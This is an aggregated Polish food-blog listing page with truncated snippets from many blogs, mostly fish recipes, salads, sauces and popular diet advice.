Ciasto bananowe z kawałkami czekolady i polewą czekoladową Ciasto bananowe z czekoladą to przepis z kategorii zero waste. Przygotowanie tego ciasta to sprytny i przy tym

Korniszonki
Ryba pod pierzynką cukiniowo-pietruszkową 51

Całość obsypujemy natką pietruszki. Pieczemy 35 minut w 180 stopniach-pod przykryciem 20 minut, 15 już bez przykrycia. Smacznego! Share 0 Tweet 0 Pinterest 0 0 Shares The post Ryba pod pierzynką cukiniowo-pietruszkową first appeared on Latosiowy

Latosiowydom
Soczysta surówka obiadowa 69

wszystkim prosta i bardzo szybka w przygotowaniu surówka. Soczysta i wyrazista w smaku, świetnie sprawdzi się jako dodatek do dań obiadowych i nie tylko. Pasuje praktycznie do wszystkiego, do ryby, mięsa, grilla, jako dodatek do burgerów, hot-dogów i zapiekanek. Ożywia nasz talerz i wspaniale dopełnia smak serwowanych potraw.       Składniki: 0,5 kg kapusty kiszonej 1 marchew

Blog z Apetytem
Wędzarnia ogrodowa i rodzaje wędzenia 66

mięso i wyroby wędliniarskie PRL-u. Obecnie wędzarnie nie są już tak niezbędne, ale mogą się przydać wszystkim amatorom domowej roboty kiełbas, szynek, a nawet wędzonych serów i ryb. Obecnie również można sobie zafundować profesjonalną wędzarnię do ogrodu, której konstrukcja uniemożliwia przypalenia wędzonki, a co w wędzarkach samoróbkach zdarzało się dosyć często. Przebieg procesu wędzenia Do wędzenia potrzebna jest wędzarnia(...)zimno lub na gorąco. Każda z metod pozwala na uzyskanie zróżnicowanych walorów smakowych wędzonek. Co można wędzić? Wędzenie kurczaka tradycyjną metodą Wędzenie sera domowym i tradycyjnym sposobem Domowe wędzenie ryby krok po kroku Domowy boczek wędzony na gorąco krok po kroku Domowe wędzone w dymie kabanosy wieprzowe Aromatyczna domowa szynka wędzona Przepis na 3 wędzone kiełbasy z jednej porcji Wędzenie

ProstePesto.pl
Dieta na trzustkę – lista produktów dozwolonych oraz zakazanych 77

drobne kasze, •     drobne makarony, •     chude mleko i chude przetwory mleczne, •     chude wędliny, drób, wołowina, cielęcina, •     chude ryby, •     gotowane lub przetarte owoce i warzywa, zwłaszcza: dynia, kabaczek, młoda marchew, seler, pomidory bez skórki, •     biszkopty, sucharki. W diecie na trzustkę można również spożywać niewielkie(...)wysokiej zawartości błonnika pokarmowego, np. śliwki i gruszki, czereśnie, figi, daktyle, •     tłuste mleko oraz tłuste przetwory mleczne, •     tłuste mięsa, •     tłuste ryby, •     smalec, •     boczek, •     margaryny, •     produkty wędzone, •     orzechy, •     czekoladę, •     tłuste ciasta

kruche babeczki
Zupa krem z brokułów 69

amerykańskich naukowców ich antykancerogennych właściwości. Warzywa te zawierają bowiem wykazujący silne działanie antynowotworowe sulforafan. Wypróbuj także słodko-pikantną zupę rybną z brzoskwiniami i curry : Zupa curry z brzoskwiniami i rybą – farerska Karrysuppe Słodko-pikantna Karrysuppe við ferskum og fisk, czyli zupa curry z brzoskwiniami i rybą, to jedno z moich ulubionych farerskich dań. Check out this recipe Brokuły doceniali już

smakowitehistorie.com
Najlepsza frytkownica beztłuszczowa 64

których w naszym zabieganym świecie trudno się obejść.  Najlepsze frytkownice niskotłuszczowe to urządzenia, w których przygotujesz nie tylko doskonałe chrupiące frytki, ale też upieczesz ciasto, usmażysz steki i ryby, wysuszysz grzyby i zrobisz najlepsze tosty na śniadanie. Na zdjęciu upieczone we frytkownicy Tefal Easy Fry Oven & Grill szybkie i dobre ciasto marchewkowe   Mniej tłuszczu, mniej kalorii, zdrowsze(...)oraz piekarnik w jednym. Szeroki zakres temperatur - od 45 do 200 stopni, 60-minutowy programator czasowy oraz 8 automatycznych programów gwarantują, że z łatwością przygotujesz np. frytki, mięso lub ryby czy pyszne ciasto. W tej frytkownicy można również grillować steki lub kiełbaski. A jeśli lubisz suszone owoce i warzywa, to Easy Fry Oven & Gril z powodzeniem zastąpi suszarkę

Cztery Fajery
Sałatka szopska - Bałkany na talerzu 123

Sałatka szopska nieodparcie kojarzy się z Bałkanami i wakacjami w Bułgarii oraz na południu Chorwacji, w Czarnogórze, Serbii lub Macedonii. Ta pyszna, lekka sałatka to idealny

Korniszonki
Najlepsza zupa rybna z batatami 73

Najlepsza zupa rybna z batatami , moja ulubiona i nie tylko moja ulubiona. Już jakiś czas mieszkamy w portowym mieście, więc teraz mamy regularny dostęp do wszelakich ryb i to wykorzystujemy. Zupa rybna czy smażone ryby przynajmniej raz w tygodniu gości na naszym stole. Ta zupa rybna z dorsza z batatami skrada serce każdego kto ją zje. Jest rewelacyjna w smaku

Damsko-męskie spojrzenie na kuchnię
Bogactwo smaków kuchni kalifornijskiej 70

panierowanych i krótko obsmażanych papryk). Fala emigrantów z Azji przywiozła ze sobą chińskie dania z woka i japońskie „sushi”. To ostatnie przeszło mocną ewolucję. Kalifornijczyków nie zachwycało jedzenie surowej ryby, a wodorosty nori odwijali z ryżu. Sprytni japońscy kucharze zaczęli więc robić „uramaki sushi”, w których algi są w środku, a ryż na wierzchu. Zamiast surowych ryb używali gotowanego mięsa

ProstePesto.pl
Tajski sos chili 60

chili      Słodko-pikantny tajski sos z kawałkami papryczki chili, czosnku i limonką podkreśli smak i nada orientalnego charakteru codziennym daniom. doskonale podkreśla smak i aromat mięsa, ryby lub krewetek w klasycznej wersji ten tajski sos chili służy do maczania jedzenia np. sajgonek, rollsów lub azjatyckich pierożków sos może posłużyć jako marynata do owoców morza, ryb, drobiu

Moja Książka Kucharska
Limonka. Smak i właściwości zdrowotne. 71

indyjskiej, są składnikiem niektórych marynat, skórka z limonki znajduje zastosowanie w przygotowaniu orientalnych potraw zwłaszcza przepisach kuchni chińskiej, indyjskiej, japońskiej i wietnamskiej. słodkie i wytrawne sałatki, pieczony drób, wieprzowina, ryby podawane są z sokiem z limonki. kwaśno-gorzka limonka podkreśla smak pikantnych potraw. Ciekawostki o limonce Limonka o wadze 100 g. zawiera 30 kcal. Sok z limonki ze szczyptą soli(...)ściśle strzeżona tajemnica wojskowa. Szkorbut był chorobą marynarzy, dieta z cytrusów dostarczała witaminę C, leczyła infekcje, krwawienie z dziąseł. Limonka zatrzymuje przykre zapachy, może np. pomóc zmyć intensywny zapach ryb z dłoni. Meksykanie używają limonki do stylizacji włosów oraz jako naturalny dezodorant. W Indiach popularnym owocem jest mosambi, czyli słodka limonka – słodka cytryna. Cytrusy są integralną częścią kuchni indyjskiej

ProstePesto.pl
Gdzie zjeść i co zjeść w Bieszczadach? Bieszczady - subiektywny przewodnik kulinarny z najlepszym jedzeniem 83

Terka 3) To takie trochę już "nasze" kultowe miejsce. Jeżdżąc na Solinę był to jeden z dość ważnych punktów i teraz myśląc o pstrągach myślę tylko o tym miejscu. Ryba jest bardzo smaczna, dobrze doprawiona, frytki jak frytki, a surówka jak surówka. Jednak to ryba jest tutaj głównym bohaterem i to bardzo smaczny bohater. Oberża Pod Kudłatym Aniołem (Cisna

Czarnawisienka
Czerwona porzeczka przepis na konfiturę do mięsa 272

Czerwona porzeczka przepis na konfiturę do mięsa   Czerwona porzeczka przepis na konfiturę do mięs, ryb, serów i wędlin, prawdziwa eksplozja smaków. Pyszny sos porzeczkowy do dań z grilla, wieprzowiny, wołowiny, drobiu, ryb i pasztetów . Warto w sezonie letnim, zamiast sięgać po ciężkie sosy na bazie majonezu, zrobić sos owocowy do grilla czy do mięs. Czerwona porzeczka zaraz po żurawinie

Dieta moja pasja
Jedzenie na odmłodzenie 79

znajdziemy ją w olejach roślinnych np. oleju lnianym, orzechach, pestkach, nasionach roślin strączkowych czy pełnoziarnistych produktach zbożowych. Na talerzu młodości rzadziej powinno pojawiać się mięso a częściej gościć ryby, nasiona roślin strączkowych czy jaja. Ryby czy oleje roślinne to doskonałe źródło kwasów omega 3 działających przeciwzapalnie, ale też wpływających pozytywnie na skórę. Warto dodać, że by zachować młodość i żyć

Kulinarnyblog.pl - wiesz jak gotować!
Łosoś jurajski pieczony z cukinią i marchewką 74

Łosoś jurajski to jedyna w Polsce ryba z certyfikatem ASC. Hodowla Jurassic Salomon jest w pełni ekologiczna, absolutnie wyjątkowa nie tylko w skali naszego kraju ale i świata. Zlokalizowana jest w Janowie, niedaleko Trzęsacza w woj. zachodniopomorskim. To hodowla geotermalna, a woda jest pozyskiwana z głębi ziemi z odwiertu o głębokości 1224,5 m p.p.m., pochodzi z okresu dolnej jury(...)liczy około 150 mln lat. Nie jest zatem zanieczyszczona toksynami i innymi szkodliwymi substancjami. Jest bogata w mikro i makroelementy. To jedna z 3 tego rodzaju hodowli na świecie. Rybę w stałej sprzedaży ma sieć handlowa Makro i hipermarkety Auchan. Łososia przygotowałam w piekarniku z cukinią i młodą marchewką

Gotuj zdrowo!Guten Appetit!
Sos tzatziki 73

który króluje na greckich stołach, praktycznie żadna kolacja nie może się obyć bez niego. Pasuje idealnie do dań mięsnych jak i do dań z warzyw. Świetni smakuje ze świeżymi rybami, ale również jako delikatny dodatek do pieczywa. Sama nazwa dania wywodzi się z Turcji. Oficjalnie nazwa pochodzi od tureckiego słowa „cacik” i oznacza „sałatkę jogurtowo – ziołową(...)Kolejno dodawaj czosnek, koperek oraz łyżkę oliwy z oliwek. Całość zamieszaj delikatnie do połączenia się składników. Podawaj zaraz po przygotowaniu jako dodatek do grilla, dań mięsnych, warzywnych czy też ryb. Smacznego! (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Sos tzatziki pochodzi z serwisu To musisz wiedzieć

To Musisz Wiedzieć
Surówka z kiszonych ogórków i cebuli przepis nr. 2 89

Surówka do obiad, surówka do grilla, surówka do ryby...   Jaka surówka do obiadu? Co Agnieszka zrobiła jako dodatek do pulpetów? Taka surówka nie musi być tylko dodatkiem do pulpetów. Świetnie nadaje się jako surówka do grilla, lub surówka do ryby. Mamy surówkę na obiad, a raczej dopiero pomysł na surówkę, więc spokojnie możecie obejrzeć przepis na surówkę z ogórków

Dieta Rozdzielna i Zdrowie
MAKARON Z ŁOSOSIEM W SOSIE ŚMIETANOWYM 70

stron sokiem z cytryny, posypać solą i kolorowym pieprzem. Na patelni roztopić masło. Na rozgrzany tłuszcz kłaść kawałki łososia, smażyć po około 4 minuty z każdej strony. Rybę zdjąć z patelni, przełożyć na talerzyk i rozdzielić ją na mniejsze kawałki. Na patelni na której smażyła się ryba podsmażyć cebulę pokrojoną w małą kosteczkę. Dodać przeciśnięty przez praskę czosnek

Zrób to smacznie
Camembert z grilla 76

Dziś coś wegetariańskiego. Po dwóch tygodniach wakacji mam dość mięsa. Niedaleko nas jest facet, który ma swojskie wyroby, ciężko przejechać obok niego obojętnie. Na szczęście ma też ryby, ale nasze zakupy na samych rybach się nie kończą. W ogóle na dzisiejszego grilla kupiliśmy u niego kaszankę, ale chyba jej jednak nie wchłoniemy. Plany wieczornego grilla się trochę zmieniły, kaszanka jedzie

Kardamonovy
Dieta ciężarnych – produkty zabronione 64

ciąży Wybierając jakiekolwiek produkty mięsne należy kierować się zasadą, że w ciąży całkowicie zabronione jest spożywanie surowego mięsa. Dotyczy to zarówno wołowiny (tatar, mało wysmażone steki), jak i ryb oraz owoców morza. W surowym mięsie mogą znajdować się liczne bakterie i pierwotniaki, które nie stanowią zagrożenia dla zdrowia i życia dorosłego człowieka, jednak mogą być niezwykle niebezpieczne dla rozwijającego się(...)dokładnie sprawdzaj etykiety. W ciąży nie powinnaś spożywać m.in. surowych kiełbas (np. chorizo, kiełbasy bałkańskie), salami i szynek dojrzewających (np. szynka parmeńska) serwowanych na zimno. Zrezygnuj także z ryb wędzonych na zimno. Dobra wiadomość jest taka, że wystarczy krótkie podgrzanie wyrobów mięsnych, by pozbyć się bakterii i pierwotniaków, w tym tych wywołujących niebezpieczną toksoplazmozę. Możesz więc bez problemu pozwolić sobie

ProstePesto.pl
Sałatka izraelska: autentyczny izraelski przepis 71

odpowiednio dobrany, ostry nóż (zwłaszcza przy krojeniu pomidorów). Sałatka izraelska. Orzeźwiająca, bliskowschodnia sałatka z drobno posiekanych warzyw oraz ziół, zwana sałatką izraelską to fantastyczny dodatek do grillowanych mięs i ryb. Jest zdrowa, wegańska i bezglutenowa - idealna na lato! Najlepsza, kiedy jest wykonana ze świeżych, letnich pomidorów. Składniki potrzebne do przygotowania sałatki izraelskiej: 2 bardzo duże pomidory 1 długi ogórek sałatkowy(...)pieprzem i sokiem z cytryny. Gotową sałatkę izraelską podawać jako samodzielne danie z chlebkami pita, hummusem albo sosem tahini. Sałatka może być także pysznym dodatkiem do grillowanych mięs lub ryb. Miłego gotowania! Shawarma z grillowanego kurczaka z sałatką izraelską i sosem tzatziki. Sałatka izraelska

Moja Książka Kucharska
Kotlety rybne z jajkiem + film 54

jajka ugotowane na twardo pęczek posiekanej natki pietruszki 3 łyżki bułki tartej+ bułka tarta do panierowania olej do smażenia czarny pieprz sól przepis Rozmrożone i odsączone z wody ryby kroimy na mniejsze kawałki a następnie dość drobno siekamy. Obraną cebulę drobno siekamy. Ugotowane i obrane ze skorupek jajka ścieramy na tarce o dużych oczkach. Do dużej miski przekładamy posiekaną rybę

Smakowite Dania
Pokarmy, które zwiększają odporność – ułóż swoją dietę online! 81

mniejsze wytwarzanie komórek odpornościowych. Skutkuje to tym, że limfocyty gorzej rozpoznają patogeny. Potrzebne są więc potrawy, które (obok ćwiczeń) wzmacniają układ nerwowy. Antystresową witaminę B6 znajdziesz w drobiu, wątrobie, rybach, soi, pełnoziarnistym pieczywie, jajach, bananach i truskawkach. Witaminy B12 szukaj w mięsie, rybach, mleku, serach, jajach, drożdżach. Łosoś – powalczy z uszkodzonym układem odpornościowym Na układ nerwowy korzystnie wpływają też nasycone

FoodMagazine.pl - Przepisy kulinarne
Przysięga. Grzechy mafii. Tom 3 M. Winnicka 58

podlegało dyskusji! Po pierwszej części , która elegancko wbiła mnie w fotel na kilka godzin Przepadłam. 2 część zabiła mi wielkiego gwoździa, natomiast ten 3 tom…połknęłam. Jak ryba przynętę. Złapałam i nie puściłam. I wraz z zakończeniem jak ryba na lądzie, otworzyłam buźkę mówiąc O NIEEEEEE, TO JUŻ KONIEC Pani Magdaleno… mistrzostwo! Polecam całą Trylogię! Przysięga. Grzechy mafii

Latosiowydom
Dorsz z puree z groszku i mięty, sałatką z pomidorkami 80

sól pieprz miks sałat pomidorki koktajlowe 1/2 czerwonej papryki 1 łyżka masła ocet balsamiczny Dorsz z puree z groszku i mięty, sałatką z pomidorkami – przepis Zaczynamy od przygotowania ryby. Dorsza myjemy, osuszamy, następnie doprawiamy solą, pieprzem, skrapiamy sokiem z cytryny i smażymy 2 minuty z każdej strony na maśle. Następnie przekładamy na blaszkę do pieczenie i wkładamy

Kulinarnyblog.pl - wiesz jak gotować!
Pedregalejo (Malaga) - spacer po plaży 86

sezonem w listopadzie, mogłyśmy więc spacerować ciągnącymi się od Malagi pięknymi plażami bez tłumu turystów. Wprawdzie nie wszystkie chiringuitos, czyli drewniane chatki z grillami gdzie smaży się świeżo złowione ryby i owoce morza, były czynne, ale i tak było warto. Po drodze aura zafundowała nm niezwykły spektakl na niebie, ale obyło się bez deszczu. Plaża Peregalejo Pedregalejo (Malaga) - spacer(...)ilość barów, knajpek, kawiarni i restauracji. To tutaj do późnych godzin nocnych tętni życie Pedregalejos.  Będąc na plaży warto spróbować tradycyjnego pescaito, czyli różnych wariacji na temat smażonych ryb i owoców morza. Do kompletu można zamówić tradycyjne tapas. W sezonie koniecznie trzeba zamówić sardynki, które są nabijane na drewniane szpadki i grillowane na drewnie. Do tego sos alioli, odrobina

Kulinarne przygody Gatity
Surówka z kiszonej kapusty z dymką 72

robiłam tę surówkę, fotografowałam, jadłam i później jej nie publikowałam. Ta ze zdjęcia została zjedzona jakieś półtora tygodnia temu. Tak, dobrze liczycie, to był piątek. Surówka była dodatkiem do ryby i ziemniaków. Nie, nie praktykujemy postów, jakoś tak po prostu wyszło. Nie wiem kto wymyślił takie połączenie, ale to jest połączenie idealne. Nic nie pasuje mi tak do ryby

Kardamonovy
Keto makaron stir-fry (Paleo, LowCarb, AIP) 87

rynku sprzedawanych pod taką etykietą jest bardzo kiepskiej jakości. Trzeba bardzo uważać na skład, przede wszystkim na cukier oraz wzmacniacze smaku. Polecam taki, który w składzie ma jedynie ryby (sardele) i sól. Nie jest łatwo o taki, ale dla chcącego nic trudnego… Mój zdecydowany faworyt to Red Boat Fish Sauce . Źródło białka W kwestii obiadu białeczko to wręcz podstawa(...)także uczucie sytości. Nie warto zatem go pomijać, zwłaszcza, że obiad to często główny posiłek dnia. Do tego dania pasuje większość rodzajów mięsa ( drób , wołowina , wieprzowina ), a także niektóre ryby lub owoce morza . Wegetarianie lub weganie, którzy nie obawiają się produktów sojowych mogą natomiast postawić na tofu lub zjeść sam makaron z warzywami. U mnie padło na mieszankę owoców morza

Modern Cave Girl
Łosoś z miętowo-groszkowym puree 78

dorsza sok z cytryny sól pieprz miks sałat pomidorki koktajlowe 1/2 czerwonej papryki 1 łyżka masła ocet balsamiczny Łosoś z miętowo-groszkowym puree – przepis Zaczynamy od przygotowania ryby. Łososia myjemy, osuszamy i skrapiamy sokiem z cytryny, solimy i pieprzymy. Następnie smażymy go ok. 2-3 minut z każdej strony na patelni z odrobiną masła. Łososia wkładamy do piekarnika

Kulinarnyblog.pl - wiesz jak gotować!
Surówka z młodej kapusty z kukurydzą 66

śmietany. Składniki łączy klasyczny sos koperkowy na bazie oleju i soku ze świeżo wyciśniętej cytryny. Idealna surówka do klasycznego schabowego, do kurczaka z piekarnika oraz do smażonej lub pieczonej ryby. Doskonale sprawdzi się również jako warzywny dodatek do domowego kebaba oraz kiełbasy i karkówki z grilla. Surówka z młodej kapusty na surowo jest soczysta, chrupiąca i aromatyczna. W sezonie(...)czosnku oraz koperku przygotuj sos. Dopraw do smaku solą oraz pieprzem. Wymieszaj ze składnikami sałaki. Jeśli trzeba dopraw jeszcze ewentualnie solą i pieprzem. Podawaj jako dodatek mięs drobiowych, wieprzowiny, ryb oraz jako samodzielną zdrową przekąskę. Ta prosta surówka z młodej kapusty do obiadu będzie świetnie smakować również z sosem czosnkowym. Polecamy również przepis na młodą kapustę z koperkiem i kiełbasą

Kuchnia Na Wypasie
Sałatka z makrelą 91

Pyszna sałatka z makrelą na grillowe spotkania? a czemu nie? jest pyszna, szybka w wykonaniu, idealna na spotkanie przy grillu. Warunek: świeża, wędzona ryba pachnąca drzewem wędzarniczym i a potem to już z górki. Szybka sałatka z makrelą. CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka z wędzonym łososiem 99

kolację czy domową imprezę. Często robię sobie taką sałatkę do pracy, bo jest bardzo sycąca i nie muszę dodatkowo do niej dokładać np. pieczywa. Uwielbiam połączenie sera i wędzonej ryby, w szczególności łososia. Do tego delikatne świeże listki, garść rukoli – nie da się przejść koło tego smaku obojętnie. (adsbygoogle = window.adsbygoogle || []).push({}); Sałatka z wędzonym łososiem – Składniki(...)nóż w gorącej wodzie, dzięki temu ser nie będzie poszarpany i nie będzie się rozpadał i nieestetycznie wyglądał. Łososia wędzonego podziel palcami na drobniejsze kawałki, nie ma potrzeby rozcinania ryby za pomocą noża. Na sałatę nałóż pomidorki, ser feta, na wierzch delikatnie poukładaj wędzonego łososia. Na sałatkę wylej odrobinę oliwy z oliwek oraz pokrop sokiem z cytryny. Smacznego! (adsbygoogle = window.adsbygoogle

To Musisz Wiedzieć
10 pomysłów na szybkie Lunchbox’y 185

jajko na twardo 2 łyżki kukurydzy 1 łyżeczka musztardy garść mix sałat świeżo mielony pieprz Przygotowanie: Ugotować jajko. Tuńczyka oraz kukurydzę odcedzić. Jajka pokroić w kostkę wymieszać z rybą oraz kukurydzą, doprawić pieprzem. Placki do tortilli wysmarować musztardą, wyłożyć sałatkę oraz wymieszane wcześniej składniki i zawinąć w rulon. Gotowe.   Tortilla z szynką, serkiem i papryką Czas wykonania(...)oleju lub sosie własnym. Sos: 2 łyżki jogurtu naturalnego 1 łyżka majonezu szczypta ziół prowansalskich szczypta świeżo mielonego pieprzu Przygotowanie: Makaron i brokuły ugotować w lekko osolonej wodzie. Rybę odsączyć z nadmiaru oleju lub sosu własnego (w zależności od rodzaju). Wszystkie składniki wymieszać ze sobą. Składniki na sos wymieszać i gotowe. Sałatkę oraz sos przełożyć do pudełka.   Pobierz wersję

KuchniaWeDwoje.pl
Pasta do chleba z jajecznicy – najlepsza pasta jajeczna 80

jajek – pyszny przepis na smarowidło do kanapek Fit pasta jajeczna (bez majonezu) Pasta z jajek i twarogu – pyszna klasyka Szybka pasta z tuńczyka i serka wiejskiego Sałatka z rybą w oleju – pasta do chleba z rybą z puszki Artykuł Pasta do chleba z jajecznicy – najlepsza pasta jajeczna pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Łosoś po japońsku w sezamie z makaronem i warzywami. PRZEPIS 100

brokułu, mała papryka czerwona, sos sojowy, sezam do panierowania, olej. Jak zrobić łososia po japońsku z makaronem ryżowym i warzywami? Łososia skrop sosem sojowym, dodaj też 2 łyżki oleju, rybę natrzyj marynatą i odłóż do lodówki do zamarynowania na około godzinę. Następnie obtocz w sezamie. Połóż na rozgrzanej patelni z powłoką nieprzywieralną, zaczynając od strony skóry, przykryj folią aluminiową, smaż

Kulinarna Polska
Dzień Książki dla Dzieci – 2 kwietnia 92

czyta, porównuje, przerysowuje je w swoje prace plastyczne i swoje komiksy. Moja nastolatka ostatnio wspomagała się tą książka, gdy przygotowywała się do egzaminu z biologii z szóstej klasy (stawonogi, ryby, skorupiaki, pierścienice i inne tego typu rewelacje). W książce tej znajdziemy zilustrowane i podpisane dokładnie 1000 organizmów i obiektów, na które można się natknąć pod wodą, od barwnych ryb

Dorota Smakuje
Indyjska sałatka ryżowa z jajem 73

stworzyć to danie sięgnęłam do dania znanego w Wielkiej Brytanii, a czerpiącego swoje inspiracje z kuchni indyjskiej – chodzi o kedgeree, danie z ryżu, podawane tradycyjnie z wędzoną rybą i właśnie z jajem. Jednak ta ryba…no niekoniecznie, nie tym razem. Postawiłam na warzywa, kilka ciekawych dodatków na wierzch i podałam letnie, nie gorące. Dla mnie pycha, uwielbiam takie

Smaczna Strona
Karmelowa babka z krówkami 132

  Wielkanoc to święto jajek i babek. Babki mogą być najróżniejsze - drożdżowe, ucierane, piaskowe, białkowe, czekoladowe, a nawet z budyniu lub galaretki. Dzisiaj proponuję pyszną i

Korniszonki
Sałatka z pieczonym łososiem i pomidorem 69

lucerny/brokułu 1/2 cytryny kilka ziaren kolendry kilka ziaren kolorowego pieprz sól sos 4-5 łyżek oliwy 1 łyżka musztardy 1 łyżka cytryny 1 łyżka miodu sól, pieprz Wykonanie: Rybę myję i osuszam. W moździerzu rozgniatam kolendrę oraz kolorowy pieprz, dodaję sól do smaku. Łososia skropić cytryną, oprószyć przyprawami. Blaszkę wykładam papierem do pieczenia, układam rybę i wkładam do nagrzanego

magiczna kuchnia Kasi
Jajka nadziewane tuńczykiem i ogórkiem. 80

widzenia. Witaminy występujące w jajku to: A, B1, B2, B6, B12, D, kwas foliowy. Składniki mineralne to: chlor, cynk, fosfor, żelazo, cynk, siarka, selen, miedź, magnez, jod. Tuńczyk jest rybą o wysokiej zawartości białka i wartościach odżywczych. Jest rybą niskokaloryczną. Jedzenie tuńczyka obniża ciśnienie krwi, wzmacnia kości, zapewnia prawidłowe funkcjonowanie mięśni i układu oddechowego. Korzystnie wpływa na układ nerwowy, kondycję

Zdrowy Styl Joanny
Tort kawowy kruchy, z nutą porzeczki 112

Kruchy tort kawowy to tort idealny. Delikatne, rozpływające się blaty, przełożone lekkim kremem kawowym, a wszystko podkreślone cierpką nutą galaretki porzeczkowej. Czego chcieć więcej? :) Polecam przepis

Korniszonki
Garnek garnkowi nie jest równy 96

gotowania spaghetti, grubego makaronu oraz warzyw. Garnki do gotowania na parze Większość osób kojarzy garnki do gotowania na parze z gotowaniem warzyw. Tymczasem można w nich przygotować również ryby, mięso, a nawet sosy. Składają się one z dwóch lub trzech poziomów- z naczynia na wodę oraz sit. Do gotowania na parze konieczna jest również pokrywka. Gotowanie na parze należy(...)parze, tylko wykorzystujemy wywar, jaki powstał w naczyniu w trakcie gotowania. Jeśli chcemy przyrządzić do gotowanego na parze dania sos, do wody dodajemy ulubione przyprawy oraz zioła. Gotując ryby dodajemy białego wina, a do potraw mięsnych czerwonego. Aby zagęścić powstały sos możemy użyć warzyw tj. cebula, seler, czy marchew. Wrzucamy je do wody na początku gotowania. Na koniec całość rozdrabniamy

Kulinarnyblog.pl - wiesz jak gotować!
Kotlety ziemniaczane z rybą wędzoną 119

wędzonej makreli 1 jajko 20 g otrębów 1/2 marchewki kawałek czerwonej papryki 1/2 cebuli sól, pieprz słodka papryka Przygotowanie: Cebulę i paprykę pokroić … Czytaj dalej Kotlety ziemniaczane z rybą wędzoną

czarrna od kuchni
Insulinooporność – co należy o niej wiedzieć? 85

glukozy w naszej krwi nie zwiększy się tak jak po spożyciu samego banana. Jak więc komponować posiłki? Zadbaj, by znalazło się w nim źródło: Białka (chude mięso – np. drób, ryby, chudy nabiał – twarogi, jogurty, kefiry, nasiona roślin strączkowych – ciecierzyca, soczewica, tofu) Tłuszczu (orzechy, nasiona, oleje roślinne, tłuste ryby) Błonnika (produkty pełnoziarniste – chleb żytni, makaron pełnoziarnisty, ryż brązowy, kasze, warzywa

kuron.com.pl
Polub się z tłuszczem i chudnij zdrowo! 61

tłuszczowe – maksymalnie 15% Znajdziemy je w: oliwie z oliwek, olejach, orzechach. wielonienasycone kwasy tłuszczowe – od 6% do 10% energii Znajdziemy je w: olejach, orzechach, pestkach, awokado, tłustych rybach. Najważniejsze dla naszego zdrowia i właściwego funkcjonowania organizmu są niezbędne nienasycone kwasy tłuszczowe (NNKT) . Są to kwasy egzogenne, czyli takie, które musimy dostarczyć wraz z pożywieniem bo nasz organizm(...)linolowy, linolenowy i arachidonowy. Wielonienasycone kwasy tłuszczowe omega-3 i omega 6 – gdzie ich szukać? Omega-3: olej rzepakowy, siemię lniane i olej lniany, olej arachidowy, awokado, tłuste ryby morskie, migdały, orzechy włoskie, skorupiaki, tofu. Omega-6: olej słonecznikowy, sojowy, kukurydziany, z pestek winogron, z kiełków pszenicy, nasiona, orzechy. Jakie są widoczne objawy niedoborów NNKT? sucha, łuszcząca się skóra

Natka Pietruszki
Ziemniaki pieczone w mundurkach 77

Ziemniaki najlepiej smakują zaraz po wyjęciu z piekarnika, jedzone z odrobiną masła. Do tego kubek maślanki lub zsiadłe mleko i wystarczy. Oczywiście bardziej wymagający mogą sobie zaserwować sztukę mięsa, rybę lub jajko sadzone. Zestaw dowolny. Z czym podawać ziemniaki pieczone?  Jeśli zastanawiasz się co podać do kurczaka, do kotletów mielonych, do kotleta schabowego na obiad? Ziemniaki pieczone w mundurkach(...)znakomicie się sprawdzą. Z czym jeszcze podawać ziemniaki pieczone? Poza mięsem i rybami, sprawdzą się surówki; colesław, surówka z kiszonej kapusty, buraczki z jabłkiem, mizeria, sos czosnkowy lub tzatziki. Śledzie do obiadu, śledzie ze śmietaną, czy z cebulką także będą smakować z pieczonymi ziemniakami w mundurkach.  Pomysł na ziemniaki do obiadu. Już wiesz jak zrobić  fit ziemniaki

Dieta moja pasja
Makaron z pstrągiem wędzonym 73

Pyszny obiad na talerzu czyli pstrąg wędzony i makaron. Według mnie połączenie idealne. Pamiętajcie jednak aby ryba była świeża w innym wypadku danie nie będzie smaczne. Polecam gorąco. Makaron z pstrągiem. CZYTAJ DALEJ

Moje Małe Czarowanie
Surówka z kiszonej kapusty z ananasem 64

kombinowałam, kombinowałam i odpuściłam. Niektórych rzeczy się nie rusza. Parę dni temu kupiłam kiszoną kapustę do kaszanki. Klasycznie kapusty kupiłam za dużo, postanowiłam zrobić z niej surówkę do ryby. Zaczęłam ją szatkować, dodałam resztę składników (na szczęście zapomniałam dodać cukier), wymiąchałam, odstawiłam. A później zobaczyłam na blacie puszkę ananasa. I tak pomyślałam, że kiszona kapusta lubi słodkie dodatki, że ananasa(...)nikomu nic się nie stało, to jeszcze wszystkim mega smakowało. Wrąbaliśmy całą miskę, razem z Tolką. Surówka z kiszonej kapusty z ananasem idealnie sprawdziła się do pieczonego dorsza. Ryby zresztą też lubią dodatek owoców, więc to wszystko naprawdę świetnie zagrało. Dobrze, że nie dodałam cukru na początku, bo surówka chyba byłaby już dla nas za słodka. Ale pamiętajcie

Kardamonovy
Kotlety rybne 88

filetów rybnych. Kilka podstawowych składników i pyszny obiad  dla rodziny gotowy. Smaczne z ziemniaczanym puree i surówką lub podane w formie burgerów. 5 kotletów 500 gramów białej ryby u mnie miruna mrożona 1 jajko 2 kopiaste łyżki bułki tartej sok z połowy małej cytryny sól pieprz Pół pęczka około 4 łyżki siekanego świeżego koperku Rybę osaczamy bardzo dokładnie

Andzia Pichci
Sos chrzanowy 92

Szybki przepis na sos chrzanowy, idealny do jajek, mięsa, ryb, wędlin, do obiadu. Super sos chrzanowy na zimno, prosty skład i ekspresowe wykonanie. Taki sos sprawdzi się na co dzień, jak i na świątecznym stole. Nie wyobrażamy sobie Świąt Wielkiejnocy bez jajek, a jak jajka to i sos chrzanowy. Sos  można przyrządzać na ciepło lub na zimno, z majonezem(...)jajka i wędliny. Coraz częściej sos chrzanowy dodaje się do sałatek. Jeśli sałatka ma w składzie słodkie dodatki, sos chrzanowy sprawdzi się doskonale. Sos chrzanowy pasuje także do ryby, mięsa ( wieprzowina, wołowina, baranina, królik), drób ten bardziej tłusty. Wszelkie pieczenie, pasztet, schab pod każdą postacią lubią towarzystwo sosu chrzanowego. Nie mogę pominąć tego, że czebureki najlepiej smakują z sosem chrzanowym

Dieta moja pasja
Tarta marchewka na gęsto. Pyszny dodatek do obiadu. PRZEPIS 98

